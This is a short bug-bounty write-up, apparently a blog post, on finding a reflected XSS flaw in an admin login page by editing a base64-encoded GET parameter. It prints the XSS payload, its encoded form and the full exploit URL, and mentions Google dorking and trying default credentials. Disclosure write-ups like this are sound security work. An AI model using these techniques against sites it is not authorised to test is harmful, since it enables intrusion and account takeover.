One night I was about to go to sleep, however, set the goal of finding the bug within a max of 15 minutes. I did some google dorking like this:

site:*.target.com ext:php

I found the site with an admin panel on it. I tried to log in with some common credentials combinations such as admin/admin, admin/test, test/test, etc., but nothing worked. I  got the message: “Inloggen / Log In ((failed))”. I was about to give up here as I don’t like to brute force the credentials, as I saw GET parameter named e which was BASE64 encoded string. I decoded it and saw the following string:

start.php?do=start|(failed)|b56dd8df284556c4440f747fe770680f7a011

Hmm, the same “(failed)” was visible after failed login. Now you may guess the rest :). What if I change this “(failed)” part of the string into XSS payload “<img src=x onerror=alert(document.domain)>”, so the string will be:

start.php?do=start|<img src=x onerror=alert(document.domain)>|b56dd8df284556c4440f747fe770680f7a011

After encoding to base64 it would be:

c3RhcnQucGhwP2RvPXN0YXJ0fDxpbWcgc3JjPXggb25lcnJvcj1hbGVydChkb2N1bWVudC5kb21haW4pPnxiNTZkZDhkZjI4NDU1NmM0NDQwZjc0N2ZlNzcwNjgwZjdhMDExZmFj

So the final URL was:

https://redacted.com/admin/index.php?e=c3RhcnQucGhwP2RvPXN0YXJ0fDxpbWcgc3JjPXggb25lcnJvcj1hbGVydChkb2N1bWVudC5kb21haW4pPnxiNTZkZDhkZjI4NDU1NmM0NDQwZjc0N2ZlNzcwNjgwZjdhMDExZmFj

And guess what? It worked. I managed to get reflected XSS. Now I know, in this case, it was pretty easy escalable to account takeover, however I stopped on XSS back then.

Reward: Hall Of Fame

See you next bug 🙂